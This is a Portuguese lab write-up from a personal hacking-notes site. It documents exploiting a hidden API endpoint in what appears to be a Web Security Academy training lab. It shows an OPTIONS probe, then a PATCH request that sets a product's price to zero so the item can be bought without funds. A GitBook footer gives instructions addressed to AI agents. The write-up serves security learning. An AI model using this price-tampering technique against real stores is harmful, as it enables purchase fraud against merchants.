> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/api-testing/discovery-and-exploitation-of-an-unused-api-endpoint.md).

# Descoberta e Exploração de um Endpoint de API Não Utilizado

### Encontrando e explorando um endpoint de API não utilizado

O objetivo deste laboratório é operar um endpoint de API oculto para comprar um **Jaqueta de couro leve l33t** sem fundos suficientes. / A autenticação é feita com as seguintes credenciais:

* **Usuário**: wiener
* **Senha**: peter

Depois de fazer login, o saldo da conta é **$**.

<figure><img src="/files/fe93aa6f122b772e68e82941eb71bf5e9630ca7f" alt=""><figcaption></figcaption></figure>

#### Análise do comportamento da aplicação

Ao consultar o produto, a aplicação envia em segundo plano uma solicitação de API para recuperar seu preço.

<figure><img src="/files/822a195e6f0943b672d851a35c5b531779ccd3db" alt=""><figcaption></figcaption></figure>

**Solicitação usada para exibir o preço**

```bash
GET /api/products/1/price
```

**Resposta do servidor**

{% code overflow="wrap" %}

```json
{
    "price":"$1337.00",
    "message":"&#x1F525; 21 restantes em estoque, compre rápido! &#x1F525;"
}
```

{% endcode %}

<figure><img src="/files/caadf6b3cb0bbe44e34e11cff4422ec0759da477" alt=""><figcaption></figcaption></figure>

#### Identificação dos métodos HTTP disponíveis

Um **OPTIONS** a solicitação é enviada para identificar os métodos permitidos neste endpoint.

**Solicitação OPTIONS**

```bash
OPTIONS /api/products/1/price
```

**Resposta**

O servidor indica que os seguintes métodos são permitidos:

* GET
* PATCH

<figure><img src="/files/9877ff5a7b2efa6ae71da98e2448d1c78aa46bab" alt=""><figcaption></figcaption></figure>

Isso sugere que é possível **modificar** alterar o preço do produto por meio de uma solicitação PATCH.

#### Modificação do preço via PATCH

Em seguida, tentamos atualizar o preço do produto enviando uma solicitação PATCH com um corpo JSON.

**Solicitação PATCH**

```http
PATCH /api/products/1/price
Host: 0abf000d04bd41568210d495001c000a.web-security-academy.net
Cookie: session=Ts7jyHfXOEyXqURmpAKf0SgO8DjhQYol

Content-Type: application/json
Content-Length: 22

{
	"price": "0
}
```

**Resposta do servidor**

```http
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 17

{
    "price":"$0.00"
}
```

<figure><img src="/files/8b953da37eb345fed61300c0bf757d9d951f0590" alt=""><figcaption></figcaption></figure>

O preço do produto agora está definido em **$**.

<figure><img src="/files/407dadba50da1f1c69713d18b4b163b4ac9a4653" alt=""><figcaption></figcaption></figure>

#### Compra do produto

Depois que o preço é alterado, é possível comprar o **Jaqueta de couro leve l33t** apesar da falta de crédito na conta, o que permite validar o laboratório.

<figure><img src="/files/7d8c75178873dd80034897571cae5b8afc9a8a34" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/api-testing/discovery-and-exploitation-of-an-unused-api-endpoint.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
